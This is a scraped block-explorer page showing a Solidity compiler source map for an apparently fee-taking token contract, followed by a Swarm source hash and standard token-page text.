:0;9695:17;13256:6;13240:13;13250:2;-1:-1:-1;;;;;3426:18:0;3399:7;3426:18;;;;;;;;;;;;3325:127;13240:13;:22;;;;:::i;:::-;:35;;13232:68;;;;-1:-1:-1;;;13232:68:0;;8634:2:1;13232:68:0;;;8616:21:1;8673:2;8653:18;;;8646:30;-1:-1:-1;;;8692:18:1;;;8685:50;8752:18;;13232:68:0;8432:344:1;13232:68:0;12993:707;;;-1:-1:-1;;;;;13352:12:0;;;;;;:8;:12;;;;;;;;:54;;;;-1:-1:-1;;;;;;13369:37:0;;;;;;:31;:37;;;;;;;;13368:38;13352:54;13326:374;;;9635:17;13457:6;:30;;13449:72;;;;-1:-1:-1;;;13449:72:0;;8276:2:1;13449:72:0;;;8258:21:1;8315:2;8295:18;;;8288:30;8354:31;8334:18;;;8327:59;8403:18;;13449:72:0;8074:353:1;13326:374:0;-1:-1:-1;;;;;13552:35:0;;;;;;:31;:35;;;;;;;;13547:153;;9695:17;13636:6;13620:13;13630:2;-1:-1:-1;;;;;3426:18:0;3399:7;3426:18;;;;;;;;;;;;3325:127;13620:13;:22;;;;:::i;:::-;:35;;13612:68;;;;-1:-1:-1;;;13612:68:0;;8634:2:1;13612:68:0;;;8616:21:1;8673:2;8653:18;;;8646:30;-1:-1:-1;;;8692:18:1;;;8685:50;8752:18;;13612:68:0;8432:344:1;13612:68:0;-1:-1:-1;;;;;13743:25:0;;;;;;:19;:25;;;;;;;;;:52;;-1:-1:-1;;;;;;13772:23:0;;;;;;:19;:23;;;;;;;;13743:52;13742:92;;;;-1:-1:-1;;;;;;13813:21:0;;13829:4;13813:21;;13742:92;:115;;;;-1:-1:-1;;;;;;13838:19:0;;13852:4;13838:19;;13742:115;13738:186;;;13897:15;13884:10;:28;13738:186;-1:-1:-1;;;;;13938:25:0;;;;;;:19;:25;;;;;;;;:58;;;;;13968:19;:28;13988:7;1223:6;;-1:-1:-1;;;;;1223:6:0;;1150:87;13988:7;-1:-1:-1;;;;;13968:28:0;;;;;;;;;;;;-1:-1:-1;13968:28:0;;;;13967:29;13938:58;13934:146;;;14013:34;14030:4;14036:2;14040:6;14013:16;:34::i;13934:146::-;-1:-1:-1;;;;;14095:25:0;;;;;;:19;:25;;;;;;;;14094:26;:54;;;;-1:-1:-1;;;;;;14125:23:0;;;;;;:19;:23;;;;;;;;14124:24;14094:54;14090:497;;;-1:-1:-1;;;;;14170:14:0;;;;;;:8;:14;;;;;;;;14165:411;;-1:-1:-1;;;;;14235:17:0;;14205:27;14235:17;;;:11;:17;;;;;14303:10;;14289:11;;:24;;14303:10;14289:24;:::i;:::-;14271:15;;;:42;14347:15;14332:12;;;;:30;14165:411;;;-1:-1:-1;;;;;14433:15:0;;14403:27;14433:15;;;:11;:15;;;;;14471:11;;14433:15;;14471:16;14467:94;;14526:15;14512:29;;14467:94;14384:192;14165:411;14654:4;14599:12;3426:18;;;;;;;;;;;9764:14;14614:46;;14599:61;;14671:21;14713:12;14695:10;;14708:2;14695:15;;;;:::i;:::-;:30;14671:54;;14756:7;:41;;;;;14781:16;14780:17;14756:41;:65;;;;-1:-1:-1;14815:6:0;;;;14814:7;14756:65;:97;;;;-1:-1:-1;;;;;;14839:14:0;;;;;;:8;:14;;;;;;;;14838:15;14756:97;:140;;;;-1:-1:-1;;;;;;14871:25:0;;;;;;:19;:25;;;;;;;;14870:26;14756:140;:181;;;;-1:-1:-1;;;;;;14914:23:0;;;;;;:19;:23;;;;;;;;14913:24;14756:181;14738:248;;;14964:10;:8;:10::i;:::-;15014:6;;-1:-1:-1;;;;;15037:25:0;;14998:12;15037:25;;;:19;:25;;;;;;15014:6;;;;15013:7;;15037:25;;:52;;-1:-1:-1;;;;;;15066:23:0;;;;;;:19;:23;;;;;;;;15037:52;15033:100;;;-1:-1:-1;15116:5:0;15033:100;15145:12;15176:7;15172:1195;;;15205:16;15200:1022;;-1:-1:-1;;;;;15246:14:0;;;;;;:8;:14;;;;;;;;:34;;;;-1:-1:-1;15264:16:0;15246:34;15242:620;;;15336:3;15312:21;10089:1;15312:6;:21;:::i;:::-;:27;;;;:::i;:::-;15305:34;-1:-1:-1;15384:68:0;10089:1;15385:22;10089:1;15305:34;15385:22;:::i;:::-;15384:54;;:68::i;:::-;15362:18;;:90;;;;;;;:::i;:::-;;;;-1:-1:-1;15491:36:0;;-1:-1:-1;10089:1:0;15492:16;9896:1;15492:4;:16;:::i;15491:36::-;15475:12;;:52;;;;;;;:::i;:::-;;;;-1:-1:-1;15200:1022:0;;-1:-1:-1;15200:1022:0;15242:620;-1:-1:-1;;;;;15557:12:0;;;;;;:8;:12;;;;;;;;:33;;;;-1:-1:-1;15573:17:0;15557:33;15553:309;;;15647:3;15622:22;10137:1;15622:6;:22;:::i;15553:309::-;15200:1022;;;-1:-1:-1;;;;;15906:14:0;;;;;;:8;:14;;;;;;;;15902:305;;;15961:22;10185:2;15979:3;15961:17;:22::i;:::-;15952:31;;:6;:31;:::i;:::-;15945:38;;16028:4;16006:18;;:26;;;;;;;:::i;15902:305::-;-1:-1:-1;;;;;16062:12:0;;;;;;:8;:12;;;;;;;;16058:149;;;16115:23;10235:2;16134:3;16115:18;:23::i;:::-;16106:32;;:6;:32;:::i;:::-;16099:39;;16183:4;16161:18;;:26;;;;;;;:::i;:::-;;;;-1:-1:-1;;16058:149:0;16240:8;;16236:91;;16269:42;16285:4;16299;16306;16269:15;:42::i;:::-;16341:14;16351:4;16341:14;;:::i;:::-;;;15172:1195;16377:33;16393:4;16399:2;16403:6;16377:15;:33::i;:::-;12237:4181;;;;12124:4294;;;:::o;1693:191::-;1786:6;;;-1:-1:-1;;;;;1803:17:0;;;-1:-1:-1;;;;;;1803:17:0;;;;;;;1836:40;;1786:6;;;1803:17;1786:6;;1836:40;;1767:16;;1836:40;1756:128;1693:191;:::o;5123:651::-;-1:-1:-1;;;;;5263:20:0;;5255:70;;;;-1:-1:-1;;;5255:70:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;5422:17:0;;5398:21;5422:17;;;;;;;;;;;5458:23;;;;5450:74;;;;-1:-1:-1;;;5450:74:0;;9338:2:1;5450:74:0;;;9320:21:1;9377:2;9357:18;;;9350:30;9416:34;9396:18;;;9389:62;-1:-1:-1;;;9467:18:1;;;9460:36;9513:19;;5450:74:0;9136:402:1;5450:74:0;-1:-1:-1;;;;;5560:17:0;;;:9;:17;;;;;;;;;;;5580:22;;;5560:42;;5624:20;;;;;;;;:30;;5596:6;;5560:9;5624:30;;5596:6;;5624:30;:::i;:::-;;;;;;;;5689:9;-1:-1:-1;;;;;5672:35:0;5681:6;-1:-1:-1;;;;;5672:35:0;;5700:6;5672:35;;;;1361:25:1;;1349:2;1334:18;;1215:177;5672:35:0;;;;;;;;5244:530;5123:651;;;:::o;5782:484::-;-1:-1:-1;;;;;5999:17:0;;;5975:21;5999:17;;;;;;;;;;;;;6072:22;;;6052:42;;;6116:20;;;;;;;:30;;6088:6;;5975:21;6116:30;;6088:6;;6116:30;:::i;17372:950::-;10570:6;:13;;-1:-1:-1;;10570:13:0;10579:4;10570:13;;;17464:4:::1;-1:-1:-1::0;3426:18:0;;;;;;;;;;;17420:50:::1;;17481:25;17530:12;;17509:18;;:33;;;;:::i;:::-;17481:61:::0;-1:-1:-1;17553:12:0::1;17580:20:::0;;;:46:::1;;-1:-1:-1::0;17604:22:0;;17580:46:::1;17576:85;;;17643:7;;;;;17576:85;9830:23;9764:14;9851:2;9830:23;:::i;:::-;17675:15;:36;17671:105;;;9830:23;9764:14;9851:2;9830:23;:::i;:::-;17728:36;;17671:105;17817:15:::0;17871:21:::1;17903:36;17817:15:::0;17903:16:::1;:36::i;:::-;17952:21;17976:41;18000:17:::0;17976:21:::1;:41;:::i;:::-;17952:65;;18028:17;18079;18063:13;18048:12;;:28;;;;:::i;:::-;:48;;;;:::i;:::-;18124:1;18109:12;:16:::0;;;18136:18:::1;:22:::0;;;18182:45:::1;::::0;18028:68;;-1:-1:-1;9430:42:0::1;::::0;18028:68;;18182:45;18124:1;18182:45;18028:68;9430:42;18182:45:::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1::0;;18251:63:0::1;::::0;18169:58;;-1:-1:-1;9538:42:0::1;::::0;18288:21:::1;::::0;18251:63:::1;::::0;;;18288:21;9538:42;18251:63:::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1::0;;;;;;;;;;10594:1:0::1;10606:6:::0;:14;;-1:-1:-1;;10606:14:0;;;17372:950::o;2146:132::-;2204:7;2231:39;2235:1;2238;2231:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;2224:46;2146:132;-1:-1:-1;;;2146:132:0:o;16893:471::-;16983:16;;;16997:1;16983:16;;;;;;;;16959:21;;16983:16;;;;;;;;;;-1:-1:-1;16983:16:0;16959:40;;17028:4;17010;17015:1;17010:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1;;;;;17010:23:0;;;-1:-1:-1;;;;;17010:23:0;;;;;17054:15;-1:-1:-1;;;;;17054:20:0;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;17044:4;17049:1;17044:7;;;;;;;;:::i;:::-;;;;;;:32;-1:-1:-1;;;;;17044:32:0;;;-1:-1:-1;;;;;17044:32:0;;;;;17087:62;17104:4;17119:15;17137:11;17087:8;:62::i;:::-;17160:196;;-1:-1:-1;;;17160:196:0;;-1:-1:-1;;;;;17160:15:0;:66;;;;:196;;17241:11;;17267:1;;17283:4;;17310;;17330:15;;17160:196;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16948:416;16893:471;:::o;2286:189::-;2372:7;2407:12;2400:5;2392:28;;;;-1:-1:-1;;;2392:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2431:9:0;2443:5;2447:1;2443;:5;:::i;:::-;2431:17;2286:189;-1:-1:-1;;;;;2286:189:0:o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1631:456::-;1708:6;1716;1724;1777:2;1765:9;1756:7;1752:23;1748:32;1745:52;;;1793:1;1790;1783:12;1745:52;1832:9;1819:23;1851:31;1876:5;1851:31;:::i;:::-;1901:5;-1:-1:-1;1958:2:1;1943:18;;1930:32;1971:33;1930:32;1971:33;:::i;:::-;1631:456;;2023:7;;-1:-1:-1;;;2077:2:1;2062:18;;;;2049:32;;1631:456::o;2489:247::-;2548:6;2601:2;2589:9;2580:7;2576:23;2572:32;2569:52;;;2617:1;2614;2607:12;2569:52;2656:9;2643:23;2675:31;2700:5;2675:31;:::i;2965:388::-;3033:6;3041;3094:2;3082:9;3073:7;3069:23;3065:32;3062:52;;;3110:1;3107;3100:12;3062:52;3149:9;3136:23;3168:31;3193:5;3168:31;:::i;:::-;3218:5;-1:-1:-1;3275:2:1;3260:18;;3247:32;3288:33;3247:32;3288:33;:::i;:::-;3340:7;3330:17;;;2965:388;;;;;:::o;3358:380::-;3437:1;3433:12;;;;3480;;;3501:61;;3555:4;3547:6;3543:17;3533:27;;3501:61;3608:2;3600:6;3597:14;3577:18;3574:38;3571:161;;3654:10;3649:3;3645:20;3642:1;3635:31;3689:4;3686:1;3679:15;3717:4;3714:1;3707:15;3571:161;;3358:380;;;:::o;4152:127::-;4213:10;4208:3;4204:20;4201:1;4194:31;4244:4;4241:1;4234:15;4268:4;4265:1;4258:15;4284:125;4349:9;;;4370:10;;;4367:36;;;4383:18;;:::i;4414:356::-;4616:2;4598:21;;;4635:18;;;4628:30;4694:34;4689:2;4674:18;;4667:62;4761:2;4746:18;;4414:356::o;4775:168::-;4848:9;;;4879;;4896:15;;;4890:22;;4876:37;4866:71;;4917:18;;:::i;6916:401::-;7118:2;7100:21;;;7157:2;7137:18;;;7130:30;7196:34;7191:2;7176:18;;7169:62;-1:-1:-1;;;7262:2:1;7247:18;;7240:35;7307:3;7292:19;;6916:401::o;8781:128::-;8848:9;;;8869:11;;;8866:37;;;8883:18;;:::i;8914:217::-;8954:1;8980;8970:132;;9024:10;9019:3;9015:20;9012:1;9005:31;9059:4;9056:1;9049:15;9087:4;9084:1;9077:15;8970:132;-1:-1:-1;9116:9:1;;8914:217::o;9885:127::-;9946:10;9941:3;9937:20;9934:1;9927:31;9977:4;9974:1;9967:15;10001:4;9998:1;9991:15;10017:251;10087:6;10140:2;10128:9;10119:7;10115:23;10111:32;10108:52;;;10156:1;10153;10146:12;10108:52;10188:9;10182:16;10207:31;10232:5;10207:31;:::i;10273:980::-;10535:4;10583:3;10572:9;10568:19;10614:6;10603:9;10596:25;10640:2;10678:6;10673:2;10662:9;10658:18;10651:34;10721:3;10716:2;10705:9;10701:18;10694:31;10745:6;10780;10774:13;10811:6;10803;10796:22;10849:3;10838:9;10834:19;10827:26;;10888:2;10880:6;10876:15;10862:29;;10909:1;10919:195;10933:6;10930:1;10927:13;10919:195;;;10998:13;;-1:-1:-1;;;;;10994:39:1;10982:52;;11089:15;;;;11054:12;;;;11030:1;10948:9;10919:195;;;-1:-1:-1;;;;;;;11170:32:1;;;;11165:2;11150:18;;11143:60;-1:-1:-1;;;11234:3:1;11219:19;11212:35;11131:3;10273:980;-1:-1:-1;;;10273:980:1:o
Swarm Source
ipfs://8618a1044646eabda0cd69be5f017737b180f3e4edae1b1f9a66ecafe8fc7893
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.